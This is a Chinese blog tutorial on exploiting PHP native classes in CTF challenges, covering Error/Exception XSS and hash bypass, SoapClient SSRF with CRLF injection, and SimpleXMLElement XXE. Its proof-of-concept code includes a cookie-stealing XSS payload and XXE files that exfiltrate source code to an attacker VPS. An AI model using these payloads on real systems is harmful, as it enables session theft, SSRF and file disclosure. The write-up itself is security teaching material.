除了上篇文章浅谈 php原生类的利用 1(文件操作类)_php spl原生类_葫芦娃42的博客-CSDN博客 里提到的原生利用文件操作类读文件的功能,在CTF题目中,还可以利用php原生类来进行XSS,反序列化,SSRF,XXE。

常用内置类:

DirectoryIterator FilesystemIterator GlobIterator
SplFileObject SplFileinfo

Error Exception
SoapClient
SimpleXMLElement

目录

<1> Error/Exception内置类

(1) 利用 Error/Exception 进行xss

 例题: [BJDCTF 2nd]xss之光

(2) 利用 Error/Exception 内置类进行hash绕过

例题:[2020 极客大挑战]Greatphp

<2> SoapClient内置类

(1) 利用SoapClient内置类进行SSRF

例题:[LCTF]bestphp‘s revenge

SoapClient触发反序列化导致ssrf

serialize_hander处理session方式不同导致session注入

crlf漏洞

 <3> SimpleXMLElement 内置类

(1) 利用SimpleXMLElement 进行xxe

例题:SUCTF2018-Homework


<1> Error/Exception内置类

使用条件:

  • 适用于php7版本
  • 在开启报错的情况下

(1) 利用 Error/Exception 进行xss

Error能实现xss的原因:

是Error中有个__toString(),当对象被当作一个字符串使用时进行默认调用。而且我们能想办法控制它的内容,在配合<script></script>标签就能实现到xss。包括但不仅限于echo ,还有file_exist()判断也会进行触发

而因为Error可以传两个参数,有个参数值的不同则对象不同也就不相等,但对由于__toString()返回的值相同md5和sha1加密后也相同,最后得到的数据也是一样的,所以可以达到hash绕过

我们本地php_study 开启一个环境,test.php如下


<?php
$a = unserialize($_GET[‘1vxyz’]);
echo $a;
?>
这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类,这就遇到了一个反序列化但没有POP链的情况,没学过Error类的话就不知道该干嘛了,这里我们可以找到PHP内置类来进行反序列化

poc.php:


<?php
$a = new Error(“<script>alert(‘xss’)</script>”);
$b = serialize($a);
echo urlencode($b);
?>

得到的序列化数据传入1vxyz中,可以看见触发了xss

Exception继承了Error类,原理&用法同Error

 例题: [BJDCTF 2nd]xss之光

.git文件泄露 ,得到源码:


<?php
$a = $_GET[‘yds_is_so_beautiful’];
echo unserialize($a);

看完上面介绍之后,很明显可以看出来存在xss漏洞,可以利用Error内置类构造<script></script>语句

一般xss的题 flag都是在cookie里,所以我们利用XSS把cookie带出来

poc.php如下:


<?php
$a = new Exception(“<script>window.open(‘http://de3fdab3-f123-a4d4-b44k-aea15634d2.node3.buuoj.cn/?’+document.cookie);</script>”);
echo urlencode(serialize($a));
?>

(2) 利用 Error/Exception 内置类进行hash绕过

Error&Exception原生类不止可以xss,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较

在Error和Exception这两个PHP原生类中有 __toString 方法,这个方法用于将异常或错误对象转换为字符串

尝试触发Error的__toString()

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”)

我们再加上一个试一试


<?php
highlight_file(__FILE__);
$a = new Error(“null”,1);$b = new Error(“null”,1);
echo $a;
echo $b;

$a 和 $b 这两个new出来的Error对象本身是不同的,但是 当对象被当作字符串操作时,触发__toString 方法返回的结果是相同的。


<?php
highlight_file(__FILE__);
$a = new Error(“null”,1);$b = new Error(“null”,1);
if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b))
echo “Success!”;

因此,利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较

注:由于报错信息包含当前的错误信息(”payload”)以及当前报错的行号(”2”) 。因此我们的$a 与 $b必须是在同一行,否则无法满足 md5($a)===md5($b).  同时,如果是 != 而不是!==强比较的话,还需要满足 new Error(“null”,1) 不同,另一个应该是 new Error(“null”,2). 这个是对象之间比较的一些个问题,大家自己测试一下即可理解。

例题:[2020 极客大挑战]Greatphp

进入题目环境,得到源码:


<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match(“/\<\?php|\(|\)|\”|\’/”, $this->syc, $match)){
               eval($this->syc);
           } else {
               die(“Try Hard !!”);
           }
        }
    }
}
if (isset($_GET[‘great’])){
    unserialize($_GET[‘great’]);
} else {
    highlight_file(__FILE__);
}
?>

我们要满足


  1. if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
  2.            if(!preg_match(“/\<\?php|\(|\)|\”|\’/”, $this->syc, $match)){
  3.                eval($this->syc);

执行到 eval($this-syc);  可以用Error类进行hash绕过 。且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法  因而我们可以传入 $this->syc=new Error(“php代码”,1); 去执行命令

由于题目用preg_match 过滤了括号,引号。无法调用函数,所以我们尝试直接 include “/flag” 将flag包含出来。用取反绕过即可

poc.php 如下:


<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match(“/\<\?php|\(|\)|\”|\’/”, $this->syc, $match)){
eval($this->syc);
} else {
die(“Try Hard !!”);
}
}
}
}
#/flag 取反后urlencode 为%D0%99%93%9E%98
$str = “?><?=include~”.urldecode(“%D0%99%93%9E%98″).”?>”;
/*
或使用[~(取反)][!%FF]的形式,
即: $str = “?><?=include[~”.urldecode(“%D0%99%93%9E%98″).”][!.urldecode(“%FF”).”]?>”;
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

注:此文件路径及名称也会在Error的返回中,所以不能包含() 不然无法绕过

<2> SoapClient内置类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

该类的构造函数如下:

PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
– 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
– 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间

(1) 利用SoapClient内置类进行SSRF

我们在自己服务器上nc 监听一个端口


<?php
$a = new SoapClient(null,array(‘location’=>’http://vpsip:port/’, ‘uri’=>’hello’));
$b = serialize($a);
$c = unserialize($b);
$c->not-exists(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

可以发现成功发送数据包,如果存在CRLF漏洞,我们还可以控制User-Agent 伪造http报文(加入自己设置的cookie等)

也可以伪造redis命令,用http协议去打redis了

对于发送POST数据包,Content-Type 的值我们要设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n。 因此脚本可以修改为如下:


<?php
$target = ‘http://ip:port/’;
$post_data = ‘data=whoami’;
$headers = array(
‘X-Forwarded-For: 127.0.0.1’,
‘Cookie: PHPSESSID=hjka6sd57fdsgy6fdsgg’
);
$a = new SoapClient(null,array(‘location’ => $target,’user_agent’=>’1vxyz^^Content-Type: application/x-www-form-urlencoded^^’.join(‘^^’,$headers).’^^Content-Length: ‘. (string)strlen($post_data).’^^^^’.$post_data,’uri’=>’hello’));
$b = serialize($a);
$b = str_replace(‘^^’,”\n\r”,$b);
#echo $b;
$c = unserialize($b);
$c->not_exists(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

成功发送post数据包。

例题:[LCTF]bestphp‘s revenge

题目用到知识点:

  • SoapClient触发反序列化导致ssrf

  • serialize_hander处理session方式不同导致session注入

  • crlf漏洞

进去题目得到源码:


//index.php
<?php
highlight_file(__FILE__);
$b = ‘implode’;
call_user_func($_GET[‘f’], $_POST);
session_start();
if (isset($_GET[‘name’])) {
    $_SESSION[‘name’] = $_GET[‘name’];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), ‘welcome_to_the_lctf2018’);
call_user_func($b, $a);


//flag.php
session_start();
echo ‘only localhost can get flag!’;
$flag = ‘LCTF{*************************}’;
if($_SERVER[“REMOTE_ADDR”]===”127.0.0.1″){
$_SESSION[‘flag’] = $flag;
}

接下来我们进行代码审计:

call_user_func 函数:

把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.

通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

  • 首先可以f 传入extract 从而造成变量覆盖。
  • 这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传 extract 将b覆盖成call_user_func()。$a为数组 其第一个参数reset($_SESSION)就是$_SESSION[‘name’],可控。  SoapClient原生类可以触发SSRF
  • 因此 我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array(‘SoapClient’,’welcome_to_the_lctf2018′)), 最终call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

那SoapClient的内容怎么控制呢,poc:


<?php
$target = “http://127.0.0.1/flag.php”;
$attack = new SoapClient(null,array(‘location’ => $target,
‘user_agent’ => “1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^”,
‘uri’ => “hello”));
$attack = str_replace(‘^^’,”\r\n”,serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

这里还涉及到 CRLF 漏洞  CRLF是”回车+换行”(\r\n)的简称

这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER[“REMOTE_ADDR”]===”127.0.0.1″ 会将flag保存在cookie为PHPSESSID=aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。

当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客

我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST

生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

首先传入 GET: f=session_start&name= 上面的payload   POST: serialize_handler=php_serialize

然后传入 GET: f=extract&name=SoapClient    POST: b=call_user_func

更改 PHPSESSID为 aaaaaaaa  正常访问 执行 var_dump($SESSION) 得到flag

 <3> SimpleXMLElement 内置类

(1) 利用SimpleXMLElement 进行xxe

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

我们看一下官方文档里的解释:

因此,当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url

例题:SUCTF2018-Homework

题目分析:

先注册账号登陆作业平台。看到一个calc计算器类。有两个按钮,一个用于调用calc类实现两位数的四则运算。另一个用于提交代码

点击CALC看一下:

根据url参数栏以及再根据calc类里面的内容,不难判断得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数

suubmit.php 这里是一个上传文件的功能

SimpleXMLElement类

这里用到了PHP的内置类中的SimpleXMLElement类。calc($args1,$method,$args2) 其中的类与参数都是我们url栏里可控的。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:


public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = “”,
bool $isPrefix = false
)

可以看到通过设置第三个参数 $dataIsURL 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 $data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE

首先,我们自己在服务器vps 上构造如下evil.xml、send.xml这两个文件


evil.xml
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM “https://VPS/send.xml”>
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % payload SYSTEM “php://filter/read=convert.base64-encode/resource=index.php”>
<!ENTITY % all “<!ENTITY &#37; send SYSTEM ‘https://VPS/?%payload;’>”>

然后在url栏中构造:

/show.php?module=SimpleXMLElement&args[]=http://vps/evil.xml&args[]=2&args[]=true

查看web日志:解码得到源码,可能是环境问题或者是我本地问题,没有打通。

除了这三个内置类,还有一些内置类:ZipArchive类来删除文件 ReflectionMethod类获取注释内容 后面有机会再总结

参考: https://www.codetd.com/article/13648456